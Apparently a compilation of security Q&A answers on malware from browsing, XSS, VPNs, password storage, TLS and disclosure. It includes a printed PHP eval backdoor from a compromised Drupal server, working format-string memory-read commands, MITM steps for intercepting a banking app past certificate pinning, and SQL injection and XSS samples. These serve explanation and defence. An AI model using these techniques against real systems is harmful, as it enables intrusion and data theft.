Can visiting Pirate Bay itself give you malware?

TL;DR YES,  visiting any site can in principle give you malware.

Even legitimate sites with a proven history of security might be at risk because, for example, they might be sporting ads, and those ads aren't in the site's control, but come from a third party that might have been compromised, or might have poor security and not be aware of the fact that what was supplied as an "advertising banner" by an apparently legitimate advertiser, and pulled to thousands of sites for their visitors to see, was actually malware.

  But now I feel paranoid, that I could have got malware by just visiting the pirate bay search engine because I think javascript allows that. Correct me if I am wrong.

It depends on the browser (you can browse the CVE repository for any specific browser; this is the map for Mozilla Firefox). Which is why you want to always have it updated and with the security patches installed. Windows is a bit more vulnerable due to the support for WSH, which supplies an additional attack vector. But there are lots of such vectors; for example, again with Firefox (but don't think the other browser are safer), in 2016 there was WebGL on Linux systems too:

Confidentiality Impact     Complete (There is total information disclosure,
                            resulting in all system files being revealed.)
Integrity Impact           Complete (There is a total compromise of system integrity.
                            There is a complete loss of system protection, resulting
                            in the entire system being compromised.)
Access Complexity          Medium (The access conditions are somewhat specialized.
                           Some preconditions must be satistified to exploit)

Usual tricks include:

downloading some script that will then try to infect other websites you might be visiting,
popping up some ads when you least expect them,
cheat other websites by making you unwittingly generate traffic,
directly exploiting your machine as part of a "botnet" for:

running DDoSes,
mining bitcoins,
sending spam,
bruteforcing other sites,
running distributed operations to circumvent some services' request limit from a single IP or subnet

Usually these tricks aren't persistent if the browser is properly hardened, and when you close the browser, they halt. Though they will try to persist themselves, so if your armor has a chink they can exploit...

And, of course, nothing can help you if you willingly download something and then consent to have it running.

Regarding "cracks", consider that when running one, you're basically trusting that someone you don't know went to all the trouble of researching, writing and distributing the crack, breaking the law and risking fines or even jail time, just to do you a favor - for free. And also that the cracked program will keep working correctly and without unwanted side effects for the reasonable future. From a purely rational and non-moral point of view, both of these assumptions looks quite unbalanced towards the ass part, and conducive to poor security.

  PS. I have heard that MacOS is sandboxed and prevents malware from reaching the heart of the machine but does it protect against remote access and key loggers?

The 'sandboxing' your refer to is probably privilege separation. This means that whatever you do as an ordinary user cannot propagate outside your user's account "sandbox". The problem is that you work inside that sandbox, so you're still vulnerable to malware even if the other users of the same machine aren't. For this reason some users have two accounts, one for browsing and one for work. Not a perfect protection, but better than none, at the expense of some nuisance when you switch from the one to the other.

Remote access usually requires higher privileges, so you're almost certainly protected from that.

For the rest, you need an updated antivirus; and just to be sure, an encrypted backup of your data, kept current and tested every now and then, somewhere different than where your PC is. Sometimes you defend against hackers only to be burgled out of your data.


ASP.Net XSS - How does this vulnerability work

An XSS vulnerability basically executes in the browser and not the backend itself. So I will try to explain in details by an example so I can be clear.
Example:

An input name field that goes to the backend via a input field in html.
Instead of a name I issue a simple js tag that has the command <script>alert(33)</script> (notice that this is an javascript tag)
The code goes to the backend where ASP.NET is going to process it. (Can be stored or reflected more about that in the OWASP section).
ASP.NET does not validate the input and the input name goes back to the Browser so it can appear in the users page.
The Browser sees that tag and instead of interpreting as a regular input the Browser sees that an js tag, so by doing so it executes commands like html or js (as an exemple for people seeing this just an example only) and prints that alert from sending the alert step. Making the Browser interpret that command.

This can be used to trigger many evil things that i cannot say here.

Why would enabling the validateRequest switch does not fix the issue?
Answer : From the OWASP page I see this:
Do not disable validateRequest in the web.config or the page setup. This value enables limited XSS protection in ASP.NET and should be left intact as it provides partial prevention of Cross Site Scripting. Complete request validation is recommended in addition to the built-in protections.

Where else could I look for the potential problem?
If what I understand you should look for when you receive the input from any source rather an api or a normal input.

Is there an alternative to fix this vulnerability other than validateRequest?
Validate every input as bad input. Where you can find viable ways is to look here:
https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html


Encoding Same Message with Different IV (AES/CBC)

The question is, given that an attacker knows that the same plaintext was used to generate two different ciphertexts with the same key but two different IVs, does this leak information?

The short answer is "no". If everything goes well, the plain-texts fed into the cipher will all be distinct, and therefore the cipher-texts will all be distinct and the attacker learns nothing. In such a scheme, you are subject however to the inherent weakness of CBC: it only takes 2^(BS/2) blocks before a collision can be expected. Thus using the same key for (a potentially arbitrary number of) different messages might not be such a great idea.


Is it possible to extract and re-use the API of a mobile banking app

Yes, MITM is the way to go.

Reverse-Engineer possible Certificate-Pinning

You will first have to change the certificate. I assume any reasonable banking app has it pinned.
Create your own certificate and change it. Remove the signature from the APK file so that Android will install it.

Redirect to your MITM Server

You will have to redirect requests from the app to your MITM server. You can change the hostname in the app but the easier way is to sniff what servers the app is connecting to and set up your own DNS (can be done with any non-cheap home router or Windows tools).

Root CA

If your certificate is not signed by a trusted Android root CA you will have to add the signing certificate to your phones root CAs. I dont know how to do this in particular but Google will help.

Set up the MITM server

I'd suggest that your MITM server keeps track of all the traffic, appears to be the simplest way to me. But you could also use a network sniffer (e.g. Wireshark) und decipher the traffic with your own certificate.

If Android installs the App (enable installing from untrusted sources) everthing should work.


How can I know if a USB drive is fully encrypted?

If something is just encrypted it is not really distinguishable from random data, i.e. one cannot say if it is unformatted or encrypted. If instead some container format (like LUKS in Linux) is used for this encryption and the container format is known to the OS then the OS can detect (and will usually also do it) that this is an encrypted container and that some password or similar is needed to access it.


Why would an attacker try SMTP login many times even though it is disabled?

Attack code is often a hastily scripted affair, poorly written and without proper error handling. It’s probably only checking for a a 200 OK response, and retrying in case of any non-200 response.

To elaborate further, the attacker isn’t interested in complying with the protocol. His goal is not to make your server happy. He’s only interested in testing login credentials.

There’s not much you’ll be able to do about it. Make sure your SMTP server is patched and on the most current levels, etc.


When you enable/disable a VPN your IP address changes but your browser doesn't. A web application can easily track you regardless of your IP address by using cookies and a variety of other methods. In fact, the IP address doesn't matter at all for tracking purposes - a user on a mobile phone will have their IP address change frequently by simply walking out of their home and switching from WIFI to mobile data.

As a result switching to a VPN won't do anything to hide your previous history from a web application unless you take additional steps. The only thing that a VPN gives you some privacy from is your ISP.

You can easily confirm this yourself.  Login to a website, connect to your VPN, and then continue using the website.  If you are still logged in then they still know how you are despite turning on your VPN.  Then turn your VPN off again and I'm sure you'll find you are still logged in.


What to do about compromised passwords through malicious sites or site hacks

This is not a definitive answer, just some thoughts.
1. Client-side hashing.
I see what you're going for: protecting the plain-text password. An idea like this relies on every site using a different hashing scheme (otherwise you can make lists of which sites use the same hashing scheme and know that their hashes / passwords will be interchangeable).
So I guess this would help a little, but certainly doesn't solve the problem, and relies on devs changing their hashing schemes from the default (which is dangerous for other reasons if they don't really understand how password hashing works).
2. Zero-knowledge proof based on password
I am not an expert in Zero-knowledge proofs, but my understanding is that they are a subset of Public Key Algorithms. Symmetric-key algorithms (like AES encryption) can easily be combined with passwords ... public key, not so much. My intuition is that if you flesh out this idea fully, you're basically going to re-invent client-authenticated SSL, so just use that?
Misc comments
IMO passwords as a whole are a sinking ship; they are a broken system. This is because we are at the point in history where hacker's ability to brute-force passwords is starting to surpass the human brain's ability to remember complex passwords.
Rather than trying to patch a sinking ship, I suggest that we (as an industry) move as quickly as we can to adopt non-password-based auth systems. Things like 2FA or ssh keys do not have the same fundamental problems as passwords, and are the kinds of solutions we should be embracing.

P.S. At time of writing, the question has 3 close votes as "too broad". I've done a dangerous thing here where I edited the OP's question to be less broad, then posted an answer to the newly-worded question. I hope this is acceptable.


Usability of a found OTP Token for my own system

No.

In order to validate the token, you need some software and/or hardware and/or an online account. You may also need a key which might have been configured locally.


Should I be worried about this url request I received on my site?

When I googled the query, I received many similar requests reported as malicious on different websites (like this one). This certainly looks like an XSS attempt. However, I don't think there's anything to worry about this particular request. The code:

j.html()).html(a.spinner)}this.xhr=d.ajax(d.extend({},a.ajaxOptions,{url:h,success:function(k,n){e.element.find(e._sanitizeSelector(c.hash)).html(k);e._cleanup();a.cache&&d.data(c

is actually a part of jQuery UI 1.8.13 minified. This is basically a part of the code which is responsible for handling Tab Widgets. Here is the complete code:

        if ( o.spinner ) {
            var span = $( "span", a );
            span.data( "label.tabs", span.html() ).html( o.spinner );
        }

        this.xhr = $.ajax( $.extend( {}, o.ajaxOptions, {
            url: url,
            success: function( r, s ) {
                self.element.find( self._sanitizeSelector( a.hash ) ).html( r );

                // take care of tab labels
                self._cleanup();

                if ( o.cache ) {
                    $.data( a, "cache.tabs", true );
                }

                self._trigger( "load", null, self._ui( self.anchors[ index ], self.panels[ index ] ) );
                try {
                    o.ajaxOptions.success( r, s );
                }
                catch ( e ) {}
            },
            error: function( xhr, s, e ) {
                // take care of tab labels
                self._cleanup();

                self._trigger( "load", null, self._ui( self.anchors[ index ], self.panels[ index ] ) );
                try {
                    // Passing index avoid a race condition when this method is
                    // called after the user has selected another tab.
                    // Pass the anchor that initiated this request allows
                    // loadError to manipulate the tab content panel via $(a.hash)
                    o.ajaxOptions.error( xhr, s, index, a );
                }
                catch ( e ) {}
            }
        } ) );

There are also no existing vulnerabilities specific to this particular version of jQuery UI. I don't think it would have done anything malicious, at least on the server side.


What are the advantages of paying for a VPN service as opposed to hosting your own?

VPNs are designed around the concept of trust between 2 or more parties, and were intended for corporate/enterprise use.

The popularity of offering "Free VPN" or "Hosted VPN" solutions to the consumer market has dramatically increased. A lot of people seem to forget there has to be a "trust" involved. You wouldn't want to have some random person on your home network, so why would you tolerate that on a virtual up scale of that idea?

Hosting your own private VPN solution has a key distinct advantage, you trust yourself. You know how data is handled, you know who can view VPN data as it's relayed, you can ensure it's quality, reliability, and anonymity. Most people will use a VPS (Virtual Private Server) for hosting a VPN.

Using a third-party hosted solution does come at a cost of some trust, corporations are legally bound entities which may be required to hand over subscriber information. Some self-hosted solutions over come this with payments by bitcoins (for the virtual private server or physical hardware). In some countries, a corporation may also be required to log usage by their clients. Beyond this, you will have to address each company's privacy policy and terms of use.

Tor was the answer for the consumer's idea of anonymity on the internet. This again has some issues with trust, mainly that entry/exit nodes have full implicit trust. It is not made apparent if a "rogue" node was to log your connections, or pass your information in the clear.

If you are not overly concerned about "trust", here are some bullet points to think about:

Self-Hosted

Security and anonymity to your standards
Can be faster, as you are the only one using the service
Must keep up to date with patches/security of software
Your information is known to the hoster, which could be a third-party
Only your hosting platform is aware of your IP address

Out Sourced Hosting

Cheaper, and generally more reliable/constant service
Don't have to worry about patches/security of software
Simple payment plans, and generally cheaper
What happens to your data in between is anyone's guess
Your data/connections might be logged for legal reasons
Your data might be altered on the fly for advertisement revenues

Tor

Easy, usable by the general population
Free, no real costs
What entry/exit points do with your data, is anyone's guess
Slow, due to the number of relays, and non-profit architecture


Both options are basically the same, only the request looks a little different. There are some additional risks involved, when you send confidential data via GET though:

The URL containing the confidential data is shown in the browser and a user might make the mistake of sharing the link (via simple copy/paste, sharing on social media, using an online bookmarking service, etc.).
The confidential data is logged by a logging server after TLS-offloading. This can also happen with POST data, but many logging servers only log the URL per default.

If you have the choice, use POST instead of GET. It is also recommended in the OWASP Top 10 concerning Session Management, that you should never send session IDs in the URL. This can be said about security tokens as well, since they are used for a similar purpose.


How to be taken seriously when doing responsible disclosure?

The ground rule is, if a website does not have a responsible disclosure policy any security team looking after their public resources is an indication that they neither care about the security of their resources nor they are going to consider any report from a random person yet. If I find some major issues in certain major company's website, I would report it through right communication channel and remind them couple of times and that should be it.

  The person on the phone got quite aggressive, told me to take a hike
  (used a bit less friendly language) and told me I had nothing to do
  with their IT department of website.

You are a nobody and he is right. I guess he's not aware of things like bug bounty, independent security researcher. So it is hardly likely he's going to honor anything coming out of you.
There have been numerous cases where the website owners got pissed and created problems for the researchers. The wise thing to do here is just let go and look for somewhere else where your efforts are appreciated. They have no written policy or procedure which can defend you if they were to ask you why you generated such malicious traffic on our website.

  How can I convince people about the importance of a vulnerability and
  the disclosure when they are not familiar with IT? Especially when no
  email contact is possible?

The convincing in this case is to be done to the respective person and here you have no contact. You can't randomly go explaining the bits of weakness of their website to the guy who picks up the phone or sending the report via social media channel like Facebook. This would not be responsible disclosure.

The right thing to do is ask for their security team's contact information on their official contact email without explaining the issue. If you do get an official response then act accordingly otherwise they don't care and so should't you. You can send two or three polite weekly reminders and that's it.


How to handle password storage for my project?

Relying on NFC for authentication makes your project's security flawed by design.

NFC cards alone doesn't provide a secure way to avoid eavesdropping and replay attacks. NFC cards can be easily read/write from wider distances than expected.

For the VM authentication, I would advice not to store passwords either.
Explore other authentication means, such as smart cards.

Have a look at http://www.nearfieldcommunication.org/nfc-security.html for more on NFC (in)security.


Regarding DocuSign, why can the document originator sign as me?

They were able to sign on your behalf using DocuSign's Send On Behalf Of Functionality (SOBO).

This is not currently part of basic DocuSign accounts but it is a feature they do offer:

https://www.docusign.com/developer-center/explore/features/sobo

Contractually your banker was probably doing this as your "banking agent" which is fairly normal for a number of banking activities and transaction types.

It would seem that your banker may have taken a calculated risk in doing so if you had not yet authorized him/her to do so. If you had given authorization in some other manner, for example, via e-mail or even verbal confirmation on the phone that may have been enough for the banker to finish the task on your behalf using DocuSign's SOBO functionality. Most likely your banker was simply following your bank's normal process and simply acting as the banking agent when signing this for you.

Note: Your local laws may vary. It's important to note that every jurisdiction globally will have different laws and/or acceptable banking practices under which the use of digital signing may or may not even be compliant.


Drupal server compromised - I want to investigate the attack technique / compromise

These kinds of back-doors are polymorphic, that is they are designed to look different every time - in practice it's a waste of time trying to decipher them because they all do exactly the same thing.

They take external input and they execute it.

It might take input from a cookie or a post variable, and it might try and set some PHP options to prevent errors being displayed or logged, but the end goal is always the same. They take external input and they execute it.

  What should I do now?

You should proceed to clean up your server, patch the vulnerability and move on.

  since there is nothing private or valuable on it

If that's the case then I strongly encourage you to terminate the instance and spin up a new clean one.

  I am more interested in learning from this case as much as I can

I doubt there'll be anything significant to learn or which would help you prevent the same thing happening in future. At best you'll end up seeing some generic code to send Viagra spam, at worst you'll end up hosting something like a phishing page.

Unless you can be very very sure that their code is isolated I wouldn't unnecessarily give them any opportunity to run code on your system. At the least AWS is likely to place restrictions on your account if they detect spam coming from one of your instances.

TLDR; It's not worth it. It'll just execute code remotely and they'll use it to send spam. Replace the instance with a fresh one ASAP.

If you really want to know what this specific code does then the process of deobfuscating them is always the same.

Run the code through a code formatter
Find all the function calls, eg. you can see $amwve = $zgxovk($xeyb, $wbjo); is a function call.
Replace the function call line with an echo for each variable followed by an exit();
Repeat this process as you work your way through the script figuring out what each of the variables hold at each step. Most of the variables will be superfluous and just there to confuse you.
Eventually you'll find the bit which contains the actual code to take input and execute it.

Always do this in an isolated environment, I'd recommend an online PHP interpreter. You may have to remove a few function calls which are blocked such as ini_set.

In your case, if you get down to $wbjo and echo it you'll get this:

$bzg = (!empty($_FILES["imi"])) ? file_get_contents($_FILES["imi"]["tmp_name"]) : $_COOKIE["imi"];
$qnlzja = (!empty($_FILES["vfsm"])) ? file_get_contents($_FILES["vfsm"]["tmp_name"]) : $_COOKIE["vfsm"];
$pjgtk = base64_decode($bzg) ^ base64_decode($qnlzja);
@eval($pjgtk);

Which as you can see is taking two base64 encoded files, XORing them then eval'ing the result. The XORing is just so that firewalls and WAFs have a harder time identifying that the file being uploaded is malicious.


Could Google Chrome's lack of a download confirmation dialog be a security vulnerability?

Yes, it can be a security vulnerability.
To exploit it, consider the following scenario.

The attacker somehow convinces the user to visit a website under attackers control.
A DLL is automatically downloaded to the Downloads folder.
The user downloads a legit installer/setup/whatever to the Downloads folder.
It is possible that this software is vulnerable to DLL load order hijacking.
When the user starts the legitimate app, basically it will load the malicious DLL inside the Downloads folder instead of the legitimate one.

Fortunately, this is not a very probable scenario, as there are a lot of unknowns/ifs in this attack. Can the attacker guess what other legitimate files the user downloads? Is it possible hijack the DLLs in this software? Will the malicious DLL be blocked by Chrome download scan?
But if the attacker is lucky, it is even possible to elevate privileges to admin because the installers usually start with admin privileges, and this valid UAC prompt is usually accepted by the users.

The originally proposed scenario is less likely I guess, as people don't usually start unknown executables from the Downloads folder. But some people will do for sure.


From my experience ONLY.

  Are they just running in the background, before they decide that it's time to reveal themselves?

Yes, they run in background and they make encrypted and hidden copies of all the files.

  Doesn't the user see the damage before being told about it?

Not so much! Maybe they can experience some performance decrease when the encryption takes place.

  Why the user doesn't expect a thing?

They make a hidden partition in which they make copies of encrypted files and then the format the main partition copy all the encrypted files and delete the hidden partitions.

How did I recover my files?
In my case they used Bitlocker (no TPM) as an encryption tool and I applied the old technique of mounting the HDD (Elcomsoft Forensic Disk Decryptor).

Short answer of how they work:

Infect

Encrypt and hidden copy

Replace original with copy

Restart

Display message


Risks of allowing employees using personal GitHub accounts for work

The general rule of thumb is to only allow business accounts access to business assets.

If an employee is let go, there are a lot of different access rights to remove. If I was an employee and had to register for access, I would need to let someone in charge know that my personal email fluffybunny@gmail.com was me, and was allowed access. Then when I was "decruited", someone would have to look up who I was on Github and remove that access by hand.

By using official business email, the relationship between the email and the person is set and reliable, and then revoking access is straightforward. It could even be automated.

The other aspect is that all the commits and notifications, which can contain sensitive info, is not going to a non-business account.

"But, but, I could have access to this stuff through my personal account if I did X, Y, Z!" Yes, but that's you violating policy/intent and that's on you. The business needs to set the tone by doing things like enforcing the separation of business and personal communications and access.


Authenticate a browser that has no user input (a kiosk) from another browser

Sounds like you need to authenticate the device, rather than a user.  Also sounds like you have complete control over what is installed on the kiosk.

I would approach this problem using client certificates.  You would simply need to install a client cert on the kiosk (in the machine store, if it's Windows) and configure the web server to map the client certificate to a user identity.  You should not have to write any code to do any of this.


The proper way to prevent SQL injections is to use Prepared Statements.

Here is an abbreviated example taken from the PHP documentation:

$stmt = $mysqli->prepare("INSERT INTO test(id) VALUES (?)");
$stmt->bind_param("i", $id);
$stmt->execute();

Instead of literally substituting the value of a variable in your query, which will always be vulnerable to injection by a creative attacker, you use a wildcard - "?" . The variable must then be bound to the wildcard.

Obviously this is a much simplified example. You need to do error handling, and often you'll have more than one variable in your statement. All of this can be found in the documentation.

The concept of prepared statements is not unique to PHP. You find it in practically all programming languages, although the implementation may differ. Familiarize yourself with the concept, because you're going to encounter and need it often.


Why not authenticate with the user sending an SMS?

Why not use inbound SMSs

There are many reasons, some of which are:

Most carriers allow free text receipt, even on PAYG, but many do not allow sending unlimited texts for free
There are still ways to spoof the source of an SMS, so this would not add much more security
Most carriers support having auth texts sent with an alphanumeric name, which makes them easy differentiate, but inbound texts cannot be sent to alphanumeric destinations Source
If there were multiple numbers user's would need to know which one to send messages to, so their message goes to the right destination


How can i reject connection from LAN and WAN to some ports?

If you want to deny access to all the machines ("any machine from LAN and WAN") it is better to either stop those services or bind them to the localhost. This way there will be no chance of messing up iptable rules.

Still, you can use IPTABLES to block access to specific ports as well.

iptables -A INPUT -p tcp --destination-port <port of the service you want to block> -j DROP

Repeat the above rule for all the ports you want to block access to.


Multi-factor auth into centralized log server

When looking at the potential importance of those log servers to the security of the organization, I wouldn't even hesitate to implement multi-factor authentication on them. PCI DSS primarily requires the audit trail for reporting the aftermath of a breach, and that means money.  If breached, you can use that data to say "the attacker hit payment system X from January 3-10, but never entered the database", which can limit your liability to the seven days of data that flowed through system X.  Without trustworthy logging, the investigators could claim "it's unsure, so we're finding all data from October through January is at risk."  That could be the difference between thousands of accounts vs millions; which could be the difference between sending a few notification letters vs ending up on the nightly news.  Both are bad, but trust me, one is much worse.

Those are just the worst-case costs.  Architecturally, that log data is the ideal place to plug in analytic engines to help you detect anomalous activity early, and can help you identify an intrusion long before the attacker makes off with your data. So while many intruders are of the snatch-and-grab type, some of the more serious APT threat agents try to cover their tracks, and look for ways to disable logging and analytics so they can remain hidden for a long time.  Don't make it easy for them.

And if you have a 2FA system in place already for accessing the rest of your in-scope machines, it shouldn't be too much harder to extend that capability to your log server as well.

However, the official answer is going to be "whatever your QSA decides is secure."  Multi-factor authentication will certainly make it that much easier for her to sign-off on that requirement.  But really, you should want those servers to be secure, even more so than the auditor.


Database field type for password storage?

The size of the field in the database should exactly match the size of the output of your key derivation function. So if the output is 60 characters long, use a varchar(60) (or maybe char(60) if that's smaller or faster in your database).

And please, don't just hash the password and call it a day. Do it right.


Use specific subkeys without master key on different device using GPG

pass and android password store use the gpg command behind the scenes, which means that a pure GnuPG solution is good enough, i.e. you can use the gpg command and both progrmas will simply pick up the keys.

Yet as of open keychain I have trouble to find whether it can import subkeys only.  I need to argue that their github (and code) documentation is pretty poor but, I believe, that ui.adapte.ImportKeyAdapter.java can import a GnuPG export (you will need to try it, I do not have an android phone).

Now I assume that you create subkeys by (or equivalent):

$ gpg --edit-key <your key>
gpg> addkey

For example I have a couple of subkeys:

$ gpg -K 040E2771C840C4F6
sec   2048R/040E2771C840C4F6 2014-08-21
uid                          Michal Grochmal <>
uid                          Michal Grochmal <>
uid                          Michal Grochmal <>
ssb   2048R/C82957C790BA249B 2014-08-21
ssb   2048R/714F28317A0ACBDA 2015-02-15
ssb   2048R/780D6F342D47A4E2 2016-02-15
ssb   2048R/144EA814AC84FD73 2016-02-15

When I perform an export of subkeys only:

gpg -a -o subkeys --export-secret-subkeys 040E2771C840C4F6

I can then copy subkeys to another machine and import it:

gpg --import subkeys

When I list my key on this machine it shows a # next to the master key.  It is GnuPG's way of telling you that the secret key is not really there.

$ gpg -K 040E2771C840C4F6
sec#  2048R/040E2771C840C4F6 2014-08-21
uid                          Michal Grochmal <>
uid                          Michal Grochmal <>
uid                          Michal Grochmal <>
ssb   2048R/C82957C790BA249B 2014-08-21 [expires: 2016-02-15]
ssb   2048R/714F28317A0ACBDA 2015-02-15 [expires: 2016-02-15]
ssb   2048R/780D6F342D47A4E2 2016-02-15 [expires: 2019-02-14]
ssb   2048R/144EA814AC84FD73 2016-02-15 [expires: 2019-02-14]

The extra reading is Debian's page about subkeys, it describes the process in much more detail.  Yet, that page argues that you can export all secret keys, copy the file and then delete the master key on the device itself.  That is possible, but I'll advise against it.  A phone often implements storage in a similar fashion to solid state technology, which makes the file with your master key recoverable to a determined attacker.


An obvious choice is Tor. It's an encrypted anonymity network, popular with the likes of Anonymous and blackhat groups.

Freenet is a similar network, though it's designed primarily for transferral of information within the Freenet network, rather than accessing normal web services in an anonymous fashion.

Alternatively, you could look into normal SOCKS proxies, including SSL proxies. You can find an abundance of them on HideMyAss.


Reading off arbitrary addresses in format string attack

It was rather trivial. Modifying the previous example a bit,

for ((i = 1; i < 200; i++)); do echo -n "$i " && ./test "BBAAAACC%$i\$x" 0; done | grep 4141

the upper word of location 129 is filled with the B's, and the lower word of location 131 is filled with the C's - with the A's nicely sandwiched in the middle at location 130. So I simply had to pass the address padded with two extra bytes both at the beginning and at the end. I also figured out how to pass the hex values with printf in bash.

To verify it's working, I picked up the address (0xbffffe2c) of a known string "HOME=/home/arman" and passed it as an argument like this:

./test AA$(printf "\x2c\xfe\xff\xbf")AA%130\$s

Bingo! The string is printed like this:

AA,���AAHOME=/home/arman

EDIT: The padding at the beginning is not really required. This works perfectly as well:

./test $(printf "\x2c\xfe\xff\xbf")AA%130\$s
,���AAHOME=/home/arman


Information security point of view when registering a domain and chosing a TLD

I had answered TLD registration privacy here (along with WHOIS): How much can I trust domain registrars to honor Whois identity protection services?

With payment, it isn't unheard of to request a form of government issued ID. This is quite common in countries that don't have "Chip and Pin" technology.

Registrars are required to post contact information for domain owners. Each will outline how much they collect, and what they do with it. Godaddy has their legal agreement here: https://ca.godaddy.com/Agreements/ShowDoc.aspx?pageid=REG_SA


Sending server-generated password by email

Yes, several things. While this is unfortunately standard procdure, it's a bad idea:

Those passwords should be invalidated after a short period of time (and especially if the emails are not end-to-end encrypted).

There are good chances, someone else has those passwords, too, because Emails are post cards rather than letters.

If the passwords are invalidated that fast, most users might not be fast enough to enter them themselves.
If your website is not TLS all the way (or something goes south, via XSS or malware), there is also a good chance that an evesdropper can hijack the session and also access the password (if it's sent unenctypted).

This is especially true for free, unencrypted WiFi, as many users check their emails unencryped, exposing the password right away. An automated approach would always be faster than the user.

A better approach would be to use an TOTP with a second factor (such as a smartphone app or a security token. There are apps for that for all major smart phones (Google Authenticator being a big one, but other apps can be used as well) and security tokens are next to nothing in purchase.

If that is not an option, try to fall back on another out-of-band communication channel such as SMS or automated voice calls reading the password out loud and invalidating it 10 seconds later.

Side note:

  and it seems that the issue isn't with sending passwords, but storing plaintext passwords.

That's not correct, there are different issues and risks with both.


Is email OTP improving the security for 2 phase authentication?

This is essentially the scheme that Steam uses if you log in from an "unknown" device.

It increases the security slightly, as an attacker would need to compromise both the username/password combination for the application, and the email account of the user. This effectively makes non-targeted attacks worthless.

This could be argued as a bad thing - if the system does not also incorporate the standard protections against brute force attacks, it would be relatively easy to try lists of potential usernames and common passwords, looking for the second login screen to appear, then specifically target those users. The users may well assume that since they've not attempted to log in, the email must be a mistake, and hence not realise that they may be coming under attack.

It also doesn't work well for some circumstances, such as for a mobile application. Many people nowadays receive email to their phones, so an attacker who had access to the mobile device may well be able to log in without further effort. This is no different from an SMS token though.

There is also a slight usability impact, especially for users who may not be highly skilled with web browsing. In some cases, switching between a login form and email client (even if in another tab) may cause issues, resulting in frustration with the site. This is probably why Steam only uses this method for "new" devices (or at least, ones where cookies are disabled, which in turn suggests a reasonable level of security awareness).


how does your standard security system work?

On the typical consumer-end, there are no lasers or microwave sensors. Look at what a starter security package includes, I'm sure lots of companies will be happy to explain to you what they offer if you call and ask. There's an increasing number of DIY solutions available, which run the gammut of complexity, but i think you're asking more about a typical alarm service, like Brinks or ADT.

Typically you can expect:

magnetic door open sensors on major egress points
PIR detectors in common areas, entryways, and high-value locations
a main control panel for setup/monitoring, by garage door or primary entrance
1-2 limited control panels for activation, panic, and monitoring
an outdoor siren to alert alarm activation to the public
a cellular modem to contact an alarm monitoring service
monitoring video cameras that can push to owner's phones ($$)
magnetic window open sensors and glass break sensors ($$$)


Are passwords safe to send through POST, without SSL in a iOS app?

No, because they are transported unencrypted over the internet. Even when your app or site is http best practice is to do at least the post containing the username/password using encryption/ssl.


I have created secured server with PSK-NULL-SHA256 with no certificate but when try to connect with client provides handshake failure

You can look up TLS magic numbers on the TLS parameter registry, including alerts. 40 is “handshake failure”, which doesn't tell you much.
The reason for the handshake failure is clearly indicated in the server output: “no shared cipher”.

Below command is given in client to connect with using same cipher and port mentioned in server

Well, no. You did not specify a cipher suite.
By default, OpenSSL does not allow insecure cipher suites such as cipher suites without encryption (…-NULL-…). See the ciphers man page (linked from the s_client and s_server man pages). You have to enable them explicitly with a -cipher option, e.g.
openssl.exe s_client -connect 127.0.0.1:4020 -psk AD -psk_identity domain.0010 -tls1_2 -cipher eNULL


First to answer your original question:

How can RSA be used for digital signing and encrypting and DSA only for encrypting?

To understand this one has to dig into the definitions of RSA and DSA.

RSA by itself was designed to be a public-key encryption scheme and later converted to a digital signature scheme. RSA does encrypt data by rasing them to an exponent e modulo a composite number n. You can invert this process if you know the factorization of n, you can calculate the exponent d that turns the encrypted message into the original message. Now you should see how it can be used for PK-encryption. Note that m^e^d=m^(e*d)=m. Now you want to sign something. So calculate the hash of this message (H(M)) and "decrypt" this so everyone knowing e and n can "encrypt" it to get H(M) back and then verify this belongs to the message M. (Wikipedia Article)

Now DSA does things a little differently. You can only sign data with DSA because it's defined to be used with a hash-function. The result of the hash-function is used to do the signing math and hence a verifier can only check that certain values match, to believe your signature but they can't reconstruct the hash itself as it is possible with RSA. Wikipedia Article

Now to your second question concerning the certificates.

In TLS a server presents the client with his certificate to prove the public key belongs to him. How is that verified? The server also provides you with what is called a "certificate chain". The whole idea of the certificate-system is that some institutions (CAs) believe you that you are who you claim to be. So your browser (or your OS) has a list of public keys of CAs it's trusting to do their job right. Now the server presents you with his certificate. The server also provides you also with an intermediate certificate. You check if the signature on the server's certificate can be verified using the intermediate certificate's public key. The you verfiy the intermediate ceritificate's signature using the next one... until you reach a point where the certificate is stored in your browser / OS then you'll trust that chain. Now you know that the public key belongs to the server. The certificate contains by itself some data that gives you information about who owns the private key, about the algorithms used, about the validility period, about the CA who issued the certificate and about the signature. (Wikipedia Article about standard X.509 certificates)

I hope this answers your questions if not, ask in the comments.


How does union select statement output vulnerable columns

This crafted query allows you to distinguish which fields resulting from the original query are actually displayed on the page.

At a latter step, you will indeed replace some of these numbers by more specific requests in order to get some information. However you will obviously prefer that this information will be displayed by the vulnerable app and not consumed in some internal treatment.

If you know that the first column value is not displayed, but the value contained in the second and third one are, you can proceed by using these second and third column to collect some information regarding, for instance, the database structure.


server certificate expired handshake failed?

Absolutely.  An expired certificate is not a valid one.  A certificate should only be accepted if :

it is signed by a valid authority - ie, there is a valid certificate chain back to a trusted root certificate authority
it is for the subject that is being connected to - ie, hostname of the machine being connected to matches the subject name in the certificate (or subject alternative name)
it is within date
it has not been revoked (either by being included on the client's revocation list or through an online certificate status check from the certificate authority)

Get a valid cert.


Why don't CAs use governemental electronic identification mechanisms?

Because the eIDAS is not sufficient to comply with the requirements that the CA are trusted to validate, for the purpose of browser's TLS communication. It is important to understand that the job of a CA is to verify a set of assertions against a CPS (Certification Practice Statement). A CA can declare pretty much anything in their CPS, but it's ultimately the relying party that will verify whether a CPS is suitable for their use. For the purpose of HTTPS certificate, the relying party is the browser manufacturers, and browser manufacturers would only include CA products whose CPS are suitable for HTTPS communication.

The CA/B guideline specifies validation requirements for x509 certificates issued for the purpose of HTTPS communication. For HTTPS communication, the most central validation requirement is the domain control validation, which electronic ID does not help with at all.

In the level of OV, the CA are also required to verify the business/organization named in the certificate against a government business registry (or against some other qualified independent information source), electronic identity card only proves the identity of an individual, not an organization, so it doesn't help here either.

At the level of EV, the CA is also required to verify that the primary contact of the organization is authorized to act on behalf of the business to purchase the certificate. One of the step in EV requires verification of the identity of the representative, here electronic identity certainly helps with the verification of the representative's identity, but it doesn't help with verifying that the named representative are authorized by the organization. At EV level, there are so many other validation requirements that verification of the representative's identity is just one small point among many, such that the impact of the availability of electronic identity is fairly minor in the grand scheme of things.

Does this mean that the eIDAS is useless? Not quite. From what I understand, eIDAS provides a legal framework that asserts that digital signatures including signatures from x509 will be at least as legally binding as ink based signature. A law like that can provide legal framework that makes email and client certificates more broadly useful.


